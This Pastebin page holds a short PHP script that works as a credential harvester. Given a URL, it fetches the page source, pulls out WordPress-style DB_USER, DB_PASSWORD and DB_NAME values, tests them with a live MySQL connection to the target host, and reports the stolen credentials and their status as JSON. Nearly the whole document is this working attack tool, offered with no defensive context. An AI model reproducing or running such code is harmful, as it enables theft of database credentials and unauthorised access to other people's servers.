Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- header('Content-Type: application/json;charset=utf-8');
- if($_GET['url']){
- $source = file_get_contents($_GET['url']);
- if(eregi('DB_USER', $source)){
- $username = spliter("DB_USER', '","'",$source);
- $password = spliter("DB_PASSWORD', '","'",$source);
- $name = spliter("DB_NAME', '","'",$source);
- if(check(spliter('http://','/',$_GET['url']),$username,$password) == '1'){
- echo '{"host":"'.htmlspecialchars(spliter('http://','/',$_GET['url'])).'","username":"'.htmlspecialchars($username).'","password":"'.htmlspecialchars($password).'","name":"'.htmlspecialchars($name).'","status":"Connected"}';
- }else{
- echo '{"host":"'.htmlspecialchars(spliter('http://','/',$_GET['url'])).'","username":"'.htmlspecialchars($username).'","password":"'.htmlspecialchars($password).'","name":"'.htmlspecialchars($name).'","status":"Disconnected"}';
- }
- }else{
- echo '{"msg":"Failed Regex Config :(","url":"'.htmlspecialchars($_GET['url']).'"}';
- }
- }else{
- echo '{"msg":"I Love You Suliman"}';
- }
- ############
- function check($host,$user,$pass){
- $conn = mysqli_connect($host,$user,$pass);
- if (!$conn) {
- return '0';
- }
- return '1';
- }
- function spliter($start,$end,$output){
- $st4rt = explode($start , $output );
- $end3 = explode($end , $st4rt[1] );
- $return = $end3[0];
- return $return;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement